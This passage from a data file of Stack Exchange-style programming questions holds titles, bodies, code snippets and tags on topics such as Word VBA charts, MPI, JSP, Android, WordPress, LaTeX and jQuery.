1\n\n' Create table\nActiveDocument.Tables.Add Range:=Selection.Range, NumRows:=5,
NumColumns:=2\nActiveDocument.Tables(i).Cell(1, 2).Split NumColumns:=3\
nActiveDocument.Tables(i).Cell(1, 1).Range.Text = \"Location:\"\
nActiveDocument.Tables(i).Cell(1, 3).Range.Text = \"Quantity (Measurable Area):\"\
nActiveDocument.Tables(i).Cell(2, 1).Range.Text = \"Description:\"\
nActiveDocument.Tables(i).Cell(3, 1).Range.Text = \"Analysis:\"\
nActiveDocument.Tables(i).Cell(4, 1).Range.Text = \"Cause(s) of Damage:\"\
nActiveDocument.Tables(i).Cell(5, 1).Range.Text = \"Recommended Repairs:\"\n\nWith
ActiveDocument.Tables(i)\n .Borders(wdBorderTop).LineStyle = wdLineStyleSingle\n
.Borders(wdBorderLeft).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderBottom).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderRight).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderHorizontal).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderVertical).LineStyle = wdLineStyleSingle\nEnd With\n\nDim
small As Boolean\nsmall = False\nDim twoSeries As Boolean\ntwoSeries = False\nDim
pieChart As Boolean\npieChart = True\n\nDim salesChart As Chart\nDim chartWorkSheet
As Excel.Worksheet\n\n\nWith ActiveDocument.Tables(i)\
n .Borders(wdBorderTop).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderLeft).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderBottom).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderRight).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderHorizontal).LineStyle = wdLineStyleSingle\
n .Borders(wdBorderVertical).LineStyle = wdLineStyleSingle\nEnd With\n\nWith
ActiveDocument.Tables(i).Cell(4, 2).Range\n
ActiveDocument.Range(.Start, .Start).Select\nEnd With\n\n' Add in a new chart\nSet
salesChart = ActiveDocument.InlineShapes.AddChart.Chart\nSet chartWorkSheet =
salesChart.ChartData.Workbook.WorkSheets(1)\n\n' Resize the chart area\
nchartWorkSheet.ListObjects(\"Table1\").Resize chartWorkSheet.Range(\"A1:B4\")\n\n'
Rename Series 1 as Sales\nchartWorkSheet.Range(\"Table1[[#Headers],[Series
1]]\").FormulaR1C1 = \"Damage\"\n\n' Add data to the chart\
nchartWorkSheet.Range(\"A2\").FormulaR1C1 = \"Moving Water\"\
nchartWorkSheet.Range(\"A3\").FormulaR1C1 = \"Settlement\"\
nchartWorkSheet.Range(\"A4\").FormulaR1C1 = \"Pre-Exisiting\"\
nchartWorkSheet.Range(\"B2\").FormulaR1C1 = data1\
nchartWorkSheet.Range(\"B3\").FormulaR1C1 = data2\
nchartWorkSheet.Range(\"B4\").FormulaR1C1 = data3\n\n\n' Quit Excel, since we no
longer need it\nsalesChart.ChartData.Workbook.Application.Quit\n\n' Put a box
around the legend\nsalesChart.Legend.Format.Line.Visible = msoCTrue\n\n' Fill the
background with theme color accent 1\nWith salesChart.ChartArea.Format.Fill\
n .Visible = msoTrue\n .Solid\n .ForeColor.ObjectThemeColor =
wdThemeColorAccent1\nEnd With\n\n' Add a title and format it\nsalesChart.HasTitle =
True\nWith salesChart.ChartTitle\n
.Characters.Font.Italic = True\n .Characters.Font.Size = 18\
n .Characters.Font.color = RGB(0, 0, 100)\n .Text = \"Damage\"\nEnd With\n\n\
nIf small Then\n' Size and move the chart\nWith salesChart.Parent\n .Left = 100\
n .Width = 300\n .Height = 150\nEnd With\nEnd If\n\nIf pieChart Then\n' Set
chart type\n salesChart.ChartType = xl3DPie\nEnd If\n", "vba word word-vba"],
"3828546": ["How to merge files in ClearCase with files from other directory?", "I
have files in directory in some branch\nand want to:\n\nmerge this branch into
another branch\nput this files in another directory for example.\n\nThe
destination '' directory already exist and have some history.\nI don't need source
directory in destination branch.\nHow to do it simple?\n",
"/vobs/project/code_dir_staff/code", "clearcase"], "2764029": ["What can I do if I
lost my iCloud\u00a0PIN code?", "Is there a way I can retrieve my PIN code used to
lock my\u00a0MacBook Air via iCloud though my Apple ID? \nI just can't seem to
remember the code and need to unlock it but can't seem to find the correct Apple
resource.\n", "", "osx icloud pin"], "4386826": ["Preventing camera to save a file
till all my processing is done in Titanium SDK", "I am using titanium sdk for
mobile app development.\nI was just searching for any way that i can prevent the
camera from saving the image. I dont want to save the image till a few steps down
the line so that all the information has been verified. \nWhat i mean to say is
that suppose after after clicking the image through the app if user selects the
cancel button the image should not be present in the gallery.\nFunctionality is
needed both on IOS and android.\nThanks a lot ... \n", "", "android ios camera
titanium titanium-mobile"], "2746612": ["AS3 buttons changing text when pressed",
"I need some help. In Flash, i have designed a sinmple button from the components
panel. I have given it the instance name of btn_one. What i am attempting to do is
everytime users click on the button i want the button to change text from send to
next. But, how do you do this? \nUnfortunately my knowledge of as3 is limited. They
are many tutorials of as3 button but i have not found any in regards to this. I
would really appreciate it if you guys could show me some examples of code or
provide me some tutorials links.\nThanks\n", "", "actionscript-3 button"],
"5086187": ["Which Linux distro is best for running in a virtual machine, for
programming research?", "I'd like to learn LAMP development for my own personal
edification.\nI tried setting up Ubuntu 8.10 \"Hardy Heron\" in Microsoft VPC, but
I can't get the video to work above 800x600. Played with xorg.conf a million times
but no joy. Can anyone recommend a good distro to work with that plays well with
VPC? Any guidance on getting started with Apache and Perl/PHP would also be
welcome.\n", "", "php linux apache virtualization"], "3897120": ["How do I use
SPEmailEventReceiver to parse data from email", "I have an email enabled document
library that receives emails with documents attached.\nI want to group and filter
these emails and attachments using the domain name they arrived from. This means I
need to strip the domain name from the sender's email address i.e.
[email protected] returns techvee.com.\nI would also like to parse
information from the email's signature to create a contact record in a separate
contact list.\nI would be very grateful for some help and guidance on this.\nBest
regards\nPaul J Shadwell\n", "", "c# sharepoint sharepoint2010"], "5924607": ["Word
Problem (Algebra 2)", "The question is:\nWhen the piggy bank was opened, it yielded
$5.22 in nickels and pennies. If there were 162 nickels and pennies altogether, how
many of each were in the bank?\n", "", "algebra-precalculus"], "686184": ["Proof
that for any graph, $|E| \\leq (|V| - k +1)(|V|-k)/2$", "I'm trying to prove that
for any simple graph $G=(|E|,|V|, f)$\n$|E| \\leq (|V| - k + 1)(|V| - k) /2$ \
nWhere |E| - number of edges, |V| - number of vertices, and k - number of
components.\nAttempt at solution:\n$$\u03bd(G) = |E| - |V| + k(G) \\geq 0$$\n$$|
E| \\geq |V| - k$$\n$$|E| + 1 \\geq |V| - k + 1$$\n$$(|E| + 1) (|V| -k) \\geq (|V|
- k + 1) (|V| -k)$$\n$$(|E| + 1) (|V| -k) /2 \\geq(|V| - k + 1) (|V| -k) /2$$\nI
know, that $(|V| -k) /2$ is always a positive number and if we remove it, we will
lessen the left side. If we remove $+1$, we will lessen it even more. However,
there is no guarantee, that we will lessen it enough to turn the sign the other
way.\nI really hope someone could help me.\n", "", "homework graph-theory"],
"3524139": ["What's an Agnostic Service", "I'm reading about SOA principals and
patterns, but I can not understand what is an agnostic service. Do you have any
straight forward definition of it? What is the concept and usage?\n", "", "soa"],
"2794647": ["How to send nested structure using MPI_Datatype in MPI using C", "I am
trying to use MPI_Datatype to send the below structure but the MPI_Send crashes
while sending the structure. I am wondering how to handle this situation. Here is
the code I have written to define new MPI
data-type:\n\nhttps://docs.google.com/document/d/1OQFtx0ClkKQx7X91BlVgiizs5D9jShhtg
sKafrgC7hk/edit?hl=en\n", " typedef struct\n {\n double x;\n
double y;\n } vertex;\n\n typedef struct\n {\n int num_vertices;\n
vertex vertex[2];\n } vertex_list;\n\n\n MPI_Datatype vertexType;\n
MPI_Type_contiguous(2,MPI_DOUBLE,&vertexType);\n
MPI_Type_commit(&vertexType);\n\n MPI_Datatype vertexListType;\n
MPI_Datatype typev[3] = {MPI_INT, vertexType, MPI_UB};\n int blocklenv[3] =
{1, 2, 1};\n MPI_Aint dispv[3];\n /* compute displacements of
structure components */\n MPI_Address( vertexl, dispv);\n
MPI_Address( vertexl[0].vertex, dispv+1);\n MPI_Address( vertexl+1,
dispv+2);\n base = dispv[0];\n\n for (i=0; i <3; i++)\n
dispv[i] -= base;\n\n /* build datatype describing structure */\n
MPI_Type_struct( 3, blocklenv, dispv, typev, &vertexListType);\n
MPI_Type_commit(&vertexListType);\n", "c distributed mpi distributed-computing"],
"2221041": ["Best 'failover service' for windows which can monitor/start/stop
services on 2 machines?", "Given the following situation:\n\n2 machines (could be
more, but 2 would already be great)\nThey both are configured exactly the same
(same services are installed)\nThey can see each other in the network\n\nIs there a
service which I can install on both machines, and which do frequent alive checkes
to the same service on the other machine? If they both see each other, the one with
the highest priority wins and will enable (or keep enabled) all registered running
processes. The other service will stop all registered services on their machine.\
nIn case of failure of the high priority machine, the other system will detect this
and start the services.\nSo in short: a failover service\nI tried to find something
like this on google but did not find anything.\nI'm keen on finding an existing
solution, otherwise I have to roll my own.\n", "", "windows failover services
failure"], "3626851": ["How to check radio button according to value retrieved from
database?", "I have a JSP page where I am saving a form and value of the selected
radio button in database. Now , I need to update that page, everything is being
displayed, but the radio button are not selected.\nI dont know how to show the
previously selected radio button on my jsp. I am using struts2-java.\nJsp Code:\n\
nSuppose I get value of radio button as 'nC' from database, now how do i select
second radio button automatically.\nI tried:\n\nBut I am getting error:\n\n", "
<div id=\"patientCondition\">\n <input type=\"radio\" id=\"new\"
value=\"n\" name=\"pSB.radioInnerSubjective\" /><label for=\"new\">New</label>\n
<input type=\"radio\" id=\"noChange\" value=\"nC\"
name=\"pSB.radioInnerSubjective\" /><label for=\"noChange\">No Change</label> \n
<input type=\"radio\" id=\"progressing\" value=\"p\"
name=\"pSB.radioInnerSubjective\" /><label for=\"progressing\">Progressing</label>\
n <input type=\"radio\" id=\"notProgressing\" value=\"nP\"
name=\"pSB.radioInnerSubjective\" /><label for=\"notProgressing\">Not
Progressing</label>\n </div>\n", "jsp struts2 radio-button"], "6018352":
["recover linux partition after failed windows xp install", "I have a pc with two
hard drives, one runs Ubuntu 10.10 and the other has NTFS with a broken XP. The
XP failed after I upgrade Ubuntu to 10.10. I installed virtualbox in Ubuntu so
for a while I was happy with the setting.\nRecently I needed to revive the XP to a
dual boot since I need to test a piece of hardware that cannot be done in a virtual
machine setting. So I inserted the XP install CD and rebooted the machine. When
I hit the return to install XP, I noticed that the XP install CD did not recognise
hard drives correctly: reporting the linux hard drives in a much smaller sizes and
as C drive of unknown type. For the second drive, it reports a few unpartitioned
space and an NTFS partition. I tried to see if I can install XP in the
unpartitioned space but failed. For fearing erase my linux hard drive, I decided
to abandon the effort. However the damage is already there: Ubuntu 10.10 is gone.\
nI booted the machine with a Ubuntu 10.10 live CD, it could not recognise the linux
hard drive any more. Testdisk told me that the linux hard drive is now in a FAT
file system. I tried a few testdisk commands in vain to restore any linux
partition and then I realised I had better stop messing with it further.\nIn this
case, what is the best way, if any, to recover the partition and data in the linux
hard drive?\nThanks in advance.\n", "", "linux partitioning
recovery dual-boot"], "4175352": ["Android onAccessibilityEvent() callback method
is skipping some of the events", "I am trying to capture all action events from the
Accessibility service in Android. \nThe callback method I am using is the
onAccessibilityEvent(AccessibilityEvent event). \nHowever, I noticed that there are
times at which some of the events do not trigger this method (e.g., when some
application is launched for the first time) in a non-deterministic way. \n\
nThanks!\n", "private void setServiceInfo(int feedbackType)\n{\n
AccessibilityServiceInfo info = new AccessibilityServiceInfo();\n // we are
interested in all types of accessibility events\n info.eventTypes =
AccessibilityEvent.TYPES_ALL_MASK; \n\n // we want to provide specific type of
feedback\n info.feedbackType = feedbackType; \n\n // we want to receive
events in a certain interval\n info.notificationTimeout = 1;\n\n // we want
to receive accessibility events only from certain packages\n //
info.packageNames = PACKAGE_NAMES;\n info.packageNames = null;\n\n
setServiceInfo(info);\n}\n\n@Override\npublic void
onAccessibilityEvent(AccessibilityEvent event)\n{\n // TODO Auto-generated
method stub\n toLogEventProcessor(event);\n}\n", "android service
accessibility"], "2754177": ["CentOS 6.0 Server hostname changes at reboot", "Every
time I boot, CentOS 6.0 Server hostname disappears. I have to re-issue hostname
command to reset it.\nPlease help!\n", "", "linux centos hostname"], "2257977":
["Encoding graphics into an mpeg stream", "looking for an example of how to
programatically encode a frame-buffer into an mpeg stream. I need this to
experiment with some mpeg encoders, to see how different patterns compress.\nI have
a slight inclination towards Windows, although if linux gives some advantage it is
not a problem.\n", "", "ffmpeg directshow mpeg"], "5424552": ["Can i access
Argument that a BackgroundWorker was started with when it completes?", "When i
start a i can pass an arbitrary argument:\n\nThe intended use is that this
arbitrary argument is supplied to the method:\n\nNow i would like that same
argument back during the Complete callback:\n\nExcept that that is no .\nThere is a
: \n\nBut it's a known bug that is never set, or settable, to anything.\nSo what's
a good workaround?\nBonus Reading\n\nHow do you set the UserState in the
RunWorkerCompletedEventArgs object?\n\n", "BackgroundWorker", ".net
backgroundworker"], "2355182": ["Faking Microsoft Outlook Voting Button responses",
"As we occasionally get company wide voting options of a variety of seriousness, it
would be nice to customize replies to these messages.\nFrom what I can ascertain,
the main response is a change in the subject line\ne.g. [Response value]:[Original
subject], however sending an email with this response is not enough. \nI suspect
you would have to do it using a completely empty body text, but I do not have the
tools to investigate this further. \nDoes anyone know how to spoof these messages?\
n", "", "microsoft-outlook microsoft-office spoofing"], "5086186":
["Monarch/Groundwork won't update the hosts.cfg in Nagios", "Given that
Monarch/Groundwork is made to provide a GUI interface to Nagios, this should be a
simple question, but I'm a little stuck.\nHow can I add a host to nagios in
Groundwork? According to my GW tab, my new host is configured. If I look at the
nagios hosts tab, I see that it's not present.\nIf I look in
/usr/local/groundwork/nagios/etc/hosts.cfg, I see that the file clearly hasn't been
updated. Based off the text at the top of the file, this would normally be updated
by monarch.cgi. \nIf I add the host to the hosts.cfg file, then restart nagios, it
correctly appears, but now I have to config the entire host manually, which is the
entire reason to have GW or Monarch.\nSo, the question is, how do I get monarch to
update my nagios config?\n", "", "monitoring monitor nagios"], "3182322": ["How to
facilitate full text search from multiple sources on one form? (RoR, WP &
ZenDesk)", "We have a web app that is mainly built atop Ruby on Rails, however we
have most dynamic content pulling in a WordPress blog and then a Knowledge Base /
Support offering from ZenDesk. \nWhat is the optimal way of offering a search
from multiple data sources that don't share a common backend or api from one search
box in the core web app?\n", "", "ruby-on-rails ruby-on-rails-3 wordpress search
full-text-search"], "3305108": ["Zend_Form with CSS", "i am new to zend i have
coded up to some extent but dont know further how to decorate my form using
decorators etc\nthis is my old HTML\n\n\nThis is my Form\n\n}\nQuestion is How can
i make my form made with php equal to the above HTML ??\n", "<div class=\"col_6
pre_3 padding_top_60\" style=\"padding-top:0\">\n<div class=\"widget clearfix\">\n
<div class=\"widget_inside\">\n <p class=\"margin_bottom_15\">Kindly enter
Username and Password.</p>\n <span><?= $this->error;?></span>\n
<form method='post' action='<?php echo $this->url(array(), 'login') ?>'
onsubmit=\"return validateForm();\">\n <div class=\"form\">\n
<div class=\"clearfix\" id=\"div_username\">\n <label
class=\"lable-2\">Username</label>\n <div class=\"input\">\n
<input type=\"text\" class=\"xlarge\" name=\"username\" id=\"username\" value=\"<?
php echo $this->form['username'] ?>\"/>\n <span
id=\"error_message_username\"></span>\n </div>\n
</div>\n <div class=\"clearfix\" id=\"div_password\">\n
<label class=\"lable-2\">Password</label>\n <div
class=\"input\">\n <input type=\"password\" class=\"xlarge\"
name=\"password\" id=\"password\" value=\"<?php echo $this->form['password']
?>\"/>\n <span id=\"error_message_Password\"></span>\n
</div>\n </div>\n <div class=\"clearfix\">\n
<label></label>\n <div class=\"input\">\n
<input type=\"checkbox\" name=\"remember\" value=\"1\" <?php echo ($this-
>form['remember'] == 1)?'checked=\"checked\"':'' ?>/></span> Stay signed in\n
<span style=\"margin-left:10px\">Forgot <a href=\"javascript: void(0);\"
rel=\"UserID\" id=\"forgot_userid\">User ID</a> or <a href=\"javascript: void(0);\"
rel=\"Password\" id=\"forgot_password\">Password</a> </span>\n
</div>\n </div>\n\n <div class=\"clearfix\">\n
<label></label>\n <div class=\"input\">\n
<input type=\"submit\" value=\"Login\" class=\"medium button blue blue-1\"/>\n
</div> </div>\n </div>\n </form>\n </div>\n</div>\n", "zend-
framework zend-form zend-form-element zend-decorators"], "3255439": ["Execute PHP
script inside Joomla! cms once - geo based redirection", "Hi\nI'm trying to figure
the best way to execute a PHP script inside Joomla!\nI want to redirect users if
they are not from X country (already have a database and the script)\nI found this
extension but I want to make my own stuff http://bit.ly/daenzU\n1) How could I
execute the script once for each visitor? Working with Cookies?\n2) As I'll put the
script inside Joomla! template, I'll modify templates/XXX/index.php\n3) Based on
2), Joomla! loads templates/XXX/index.php each time a page loads, so I have to
avoid redirection script to be executed twice for an user\nThanks in advance for
your ideas and suggestions\n", "", "php geolocation redirect joomla1.5"],
"3909039": ["Playframework does not log to file", "I keep receiving error messages
like\n\nthe default logging to the console is chopped off with the usual\n\nbut
Play would not log to file with my application.conf containing:\n\nI'm running the
app in dev mode.\n", "This exception has been logged with id 6963fe42m\n", "file
logging playframework"], "2379093": ["Can i export video from \"CS5 FLASH\" of
actions created with AS3?", "I created animation using AS3. Actions are distributed
in main timeline. I created frame event listener, wich set a current frame of
several MovieClips. But when i export video, AS3 isn't executed.\n", "",
"actionscript-3 video export"], "4467485": ["How best to add Plugin Capability to a
Delphi program", "I am looking to add the capability for users to write plugins to
the program I have developed in Delphi. The program is a single executable with no
DLLs used. \nThis would allow the user community to write extensions to my program
to access the internal data and add capabilities that they may find useful. \nI've
seen the post at: http://stackoverflow.com/questions/8140/adding-plugin-capability
but its answers don't seem transferrable to a Delphi program.\nI would like, if
possible, to add this capability and keep my application as a single executable
without any DLLs or additional modules required.\nDo you know of any resources,
components or articles that would suggest how to best do this in Delphi, or do you
have your own recommendation?\n", "", "delphi plugins"], "3395124": ["What's a good
C decompiler?", "I am searching for a decompiler for a C program. The binary is a
32-bit Linux executable. Objdump works fine, so basically I am searching for
something which attempts to reconstruct the C source from the asm source.\n", "",
"c linux reverse-engineering decompiling assembly"], "3395122": ["How to ignore SQL
Server LocalDB auto shutdown?", "I'm using SQL Server 2012 Express LocalDB.
Instances seem to stop automatically after 10 minutes if there is no activity on
them. Is there a clean way to keep an instance running forever?\n", "", "state
shutdown running localdb"], "851940":
["reset addClass function on 'click'", "so, I have a function that makes an image
invisible, and at the same time starts playing a video (1 out of 6) underneath it.
It works great, the div fades out, and it plays. However, it only works the first
time.There are six thumbs(all an item in a list), and they each play one of the
videos, right? So, each time a thumb is pressed, I need the image to
comeback(quickly) and then fade out slowly like it does. So, a mini reset of sorts
on each click. the code is\n\ni tried shuffling things around, and no dice. And,
yes, it is supposed to start fading once the video has finished loading. This is
for iPad and I haven't found a better way around the flicker you get when a video
loads.\nEdit: okay, trying to explain this best way I can... \nthe page loads, and
you have the image on top. There are six thumbnails, and one is clicked. The image
fades out while the video loads(this doesn't have to be synced, so long as the
video finishes loading first), then it plays. If a some point, another of the
thumbs is pressed, the image pops back up and fades, to cover while the video
loads. Basically, the condition of the first click repeats on each click.\n", "$
(document).ready(function () {\n\n $('li, .thumbs').on('click', function () {\n\
n\n var numb = $(this).index(),\n videos = [\n
'images/talking1.m4v',\n 'images/talking2.m4v', \n
'images/talking1.m4v', \n 'images/talking2.m4v', \n
'images/talking1.m4v', \n 'images/talking2.m4v'\n ],\n
myVideo = document.getElementById('myVid');\n myVideo.src =
videos[numb];\n\n myVideo.load();\n $('#MyT').addClass('clear');\n
myVideo.play();\n\n });\n\n});\n", "javascript jquery html5 css3 onclick"],
"5016300": ["Pass by reference in VBA does not work", "i wanna test pass by
reference and pass by value in access, but it doesn't work.\n\nin the pass by ref
it does not state that it is the pass by reference function. Any idea?\n", "Sub
passByRef(ByRef a As Integer)\n a = a + 1\nEnd Sub\nSub passByVal(ByVal a As
Integer)\n a = a + 1\nEnd Sub\n\nPrivate Sub cmdByRef()\n Dim i as Integer\n
i = 10\n passByRef i\n MsgBox i\nEnd Sub\nPrivate Sub cmdByVal()\n Dim i as
Integer\n i = 10\n passByVal i\n MsgBox i\nEnd Sub\n", "ms-access access-
vba"], "2234803": ["The result of a shortcode appear BEFORE page content", "I have
a page, with a shortcode that get all the post from a categorie and put after the
content of the page. For no apparent reason, the result of a WP_Query() in the
shortcode APPEAR ALWAYS at the top of the page. If i put the shortcode a the top OR
at the bottom, the post (3 of them) appear before the content of the page...\non
that one, i have NO IDEA why... shortcode is at the en of the page\n\nafter the
comment i post the code the ECHO... this is the problem ?.. i to solve it ?\n\n",
"//Add a ShorCode to get a page/post content\nadd_shortcode
('post_cat2','get_post_cat2');\n function get_post_cat2 ($att) {\n\n
$mypost = array();\n\n $args = array( 'category' => 36 );\n $myposts =
get_posts( $args );\n\n foreach( $myposts as $post ) :
setup_postdata($post);\n $mypost .= the_title();\n endforeach;\n
return $mypost;\n\n } \n", "shortcode"], "4397778": ["How to sort data in a table
data structure in Java?", "I need to sort data based on the third column of the
table data structure. I tried based on the answers for the following question. But
my sorting does not work. Please help me in this.\nHere goes my code.\n\nSample
Expected Output:\n\nbut what I get is:\n\n", "Object[] data = new Object[y];\n
rst.beforeFirst();\n while (rst.next()) {\n int p_id =
Integer.parseInt(rst.getString(1));\n String sw2 = \"select
sum(quantity) from tbl_order_detail where product_id=\" + p_id;\n
rst1 = stmt1.executeQuery(sw2);\n rst1.next();\n
String sw3 = \"select max(order_date) from tbl_order where tbl_order.`Order_ID` in
(select tbl_order_detail.`Order_ID` from tbl_order_detail where product_id=\" +
p_id + \")\";\n rst2 = stmt2.executeQuery(sw3);\n
rst2.next();\n data[i] = new Object[]{new String(rst.getString(2)),
new String(rst.getString(3)), new Integer(rst1.getString(1)), new
String(rst2.getString(1))};\n i++;\n }\n
ColumnComparator cc = new ColumnComparator(2);\n Arrays.sort(data, cc);\
n if (i == 0) {\n table.addCell(\"\");\n
table.addCell(\"\");\n table.addCell(\"\");\n
table.addCell(\"\");\n } else {\n for (int j = 0; j < y;
j++) {\n Object[] theRow = (Object[]) data[j];\n
table.addCell((String) theRow[0]);\n table.addCell((String)
theRow[1]);\n table.addCell((String) theRow[2]);\n
table.addCell((String) theRow[3]);\n }\n", "java table sorting data-
structures"], "5131836": ["Length parameter for vertical skip space in a math
environment?", "I learned here that I can use to explicitly set the vertical skip
space between lines, e.g., set to . I'd like to set to, say, 2-times the normal
length in this environment (e.g., or ) but I don't know the length parameter that
determines this. \nAnother example: I'd like to change the explicit below to some
multiple of the vertical line-skip space in the environment. Does anyone know what
that is?\n\n", "\\\\[<len>]", "math-mode spacing lengths parameters"], "2367850":
["Bundler for javascript, or how to source control external javascript files", "I
am in the process of converting an existing Rails 3.1 app I made for a client into
a Backbone.js app with the Rails app only as a backend server extension. This is
only a personal project of mine, to learn more about Backbone.js.\nWhile setting up
Backbone.js (using Backbone-on-Rails), I noticed I have some dependencies (like
backbone-forms) that come from external sources and are frequently updated. \nI've
grown accustomed to using Bundler to manage my Ruby gems, but I haven't found
anything similar for JavaScript files. I'm wondering if there is any way to do the
same for Javascript (and possibly css) files.\nBasically I can see three
possibilities to solve this issue:\n\nSimply write down all the sources for each JS
file and check these sources from time to time to see what has changed.\nUse some
kind of existing \"Bundler for Javascript\" type of tool, I've been looking for
something like this but have yet to find anything (good).\nSince most of these JS
files will be coming from Git anyway, use Git to get the files directly and use
checkout to get the latest version from time to time.\n\nI prefer the last option,
but was hoping on some more input from other people who have gone this route or
preferred some other way to tackle this issue (or is this even an issue?).\nI
figure the Git way seems easy, but I am not quite sure yet how I could make this
work nicely with Rails 3.1 and Sprockets. I guess I'd try to checkout a single file
using Git and have it be cloned in a directory that is accessible to Sprockets, but
I haven't tried this yet.\nAny thoughts?\n", "", "javascript ruby-on-rails git
bundler sprockets"], "2791096": ["silverlight 4 soap error whereas WebClient
works", "Successfully connected my silverlight app to Webservice using WebClient,
but stuck trying connect it via SOAP.\nAlways getting some huge and uncertain
exception about cross-domain policies, InternalsVisibleTo or full trust assembly
list... \nI have clientaccesspolicy.xml right where it should be since WebClient
connection is working. So what else exactly I need to tune?\n\nexcepion fires here,
in autogenerated SoapChanel Reference.cs:\n\n", " private void
Test_Click(object sender, RoutedEventArgs e)\n {\n
Profile_local.ProfileSoapClient psc = new ProfileSoapClient();\n
Profile_local.Profile prf = new Profile_local.Profile();\n
psc.GetProfilesSOAPCompleted += psc_Completed;\n
psc.GetProfilesSOAPAsync(\"lilid,lipstic\");\n }\n\n\n void psc_Completed(object
sender, Profile_local.GetProfilesSOAPCompletedEventArgs e)\n {\n
Profile_local.Profile prf = e.Result[0];\n txt.Text = prf.Name;\n }\n",
"silverlight soap"], "4962723": ["Generate a dynamic grid and populate selected
cells. Please help!", "I want to generate a grid where people can selected one or
more cells and then save them into the database in this format (row,cell):\n\nThen
I want to generate the grid and at the same time mark the cells that is occupied. I
have managed to do this (see below) but it does not feel right and I must get the
color field from the database aswell so that the cell get the right look (different
for each user).\nThis is how I generate the grid and populate it.\n\nHow can I both
generate the grid, populate the cells that are occupied and color them
individually. I am really stuck here.\nPlease help!\n", "18,27 18,28 19,27 19,28\
n", "php mysql grid"], "3475071": ["Is there an extension that will allow me to
view videos in a sidebar for Firefox?", "I would like to be able to watch videos on
sites like Youtube, while surfing the web at the same time.\n", "", "firefox
video"], "2367858": ["extension method for a method C#", "Is there a way to have
extension method on the method? Example for this would be method that takes some
user object as parameter and you need to do security check if that user can use
that method at the very beginning of the method. Can the method have extension
method like \"check can this user use me\" and return bool.\nThanks.
\n", "", "c# methods extension-methods"], "1903154": ["How can I get this title
page?", "\nI want my university title page but I wonder if can I get this. As I was
trying a lot with many classes but I am not getting the correct format. Could
someone help me to get this? I don't know how to get the correct format exactly the
same as the requirement. So I included in tags. I hope I get an excuse for this.\n\
n", "\\newenvironment{alwayssingle}{%\n \\@restonecolfalse\\if@twocolumn\\
@restonecoltrue\\onecolumn\n \\else\\newpage\\fi}\n {\\if@restonecol\\
twocolumn\\else\\newpage\\fi}\n\n\\newenvironment{custom}{}\n\n%define title page
layout\n\\renewcommand{\\maketitle}{%\n\\pagenumbering{roman} % Sasa Tomic\n\\
setcounter{page}{0} % Sasa Tomic\n\\begin{alwayssingle}\n \\renewcommand{\\
footnotesize}{\\small}\n \\renewcommand{\\footnoterule}{\\relax}\n \\
thispagestyle{empty}\n% \\null\\vfill\n \\begin{center}\n \\begin{flushleft}
{ \\Large {\\bfseries {\\@university}} \\par} \\end{flushleft}\n \\
begin{flushleft} {{\\Large \\@collegeordept} \\par} \\end{flushleft}\n \\
begin{flushleft} {{\\Large Author: \\@author} \\par} \\end{flushleft}\n \\
begin{flushleft} {{\\Large E-mail address: [email protected]} \\par}\n \\
end{flushleft}\n \\begin{flushleft} {{\\Large Study programme: Msc Computer
Science} \\par}\n \\end{flushleft}\n \\begin{flushleft} {{\\Large Examiner:
Blah Blah} \\par} \\end{flushleft}\n \\begin{flushleft} {{\\Large Tutors:
Andreas Nordgren, email} \\par}\n \\end{flushleft}\n \\begin{flushleft} {{\\
Large Scope: ??? words inclusive of appendices} \\par}\n \\end{flushleft}\
n \\begin{flushleft} {{\\Large Date: \\@degreedate} \\par} \\end{flushleft} \n
{\\large \\ {{\\@crest} \\par} \\vspace*{25mm}}\n {\\large {M.Sc. Thesis within
Computer Engineering 30hp points} \\par}\n { \\Large {\\bfseries {\\
@title}} \\par}\n {\\normalsize {Subtitle} \\par}\n {\\Huge {\\
@author} \\par}\n \\end{center}\n\n\\end{alwayssingle}}\n", "horizontal-alignment
titles"], "3514995": ["Calendar control showing long DayLength suddenly", "I have a
Calendar control on a VB6 form which on one machine is suddenly showing long day
names instead of the single initials of the days like it is designed to.\n\nAt
design time this is set with the property which I have set to , but for some
reason on one machine it is showing as though it is set to .\nWhat is the cause of
this? Is there a registry setting or something else that would be doing this?\n",
"eg. Monday instead of M\n", "vb6 calendar-control"], "3148390": ["jQuery 1.4.4 and
IE6: .live('change') not triggering on checkbox until blur", "Here's the code,
using jQuery 1.4.4:\n\n(The checkboxes are generated by jqGrid, so they're a little
messy.)\nIn Chrome, the function fires immediately upon clicking on a checkbox.\nIn
IE6, this only fires upon clicking on a checkbox and THEN clicking on something
else on the page (i.e. blurs).\nAccording to the jQuery 1.4 release notes:\n\n and
events\n normalized\nThe change and submit events work\n reliably across browsers
for both\n normal and live events. We override\n the normal change and submit
events in\n Internet Explorer and replace them\n with events that work
identically to\n the other browsers.\n\nThis behavior doesn't sound very
normalized to me!\nFrom what I could find, there was bugs related to
using .live(\"change\") in IE in earlier versions of 1.4, but they were supposedly
fixed in 1.4.2.\nAm I doing something wrong, or is this how it's supposed to work
in IE6? Will I be forced to do something like this?\n", "<input type=\"checkbox\"
value=\"on\" offval=\"off\" id=\"c5f1_Associated\" name=\"Associated\"
class=\"editable\"> \n<script type=\"text/javascript\">\n$
('input:checkbox').live('change', function() {\n alert('Changed!');\n // some
other code\n});\n</script>\n", "jquery internet-explorer-6 ie6-bug"], "3073691":
["Objective C - Custom setter with ARC?", "Here is how I used to write a custom
retained setter before:\n\nHow can I achieve this with ARC when the property is set
to strong.\nHow can I make sure that the variable has strong pointer?\n", "-
(void)setMyObject:(MyObject *)anObject\n{\n [_myObject release], _myObject =
nil;\n _myObject = [anObject retain];\n\n // Other stuff\n}\n", "objective-c
properties automatic-ref-counting"], "1811966": ["asp.net in IronPython, speed
execution of code, first time vs second time differences", "I'm observing this
behavior, when I run the same code for the second time with different parameters in
webforms with IronPython,\nit runs quite faster. I thought first this had to do
with asp.net temporary files, but when I restart the server it gets slow for the
first time\nagain. It's quite a code it has to run so it's reasonable, but it would
be great if I could get the speed of the second exeucution. Now cPython compiled
the files into pycs files for them to run faster, and I was wondering what does
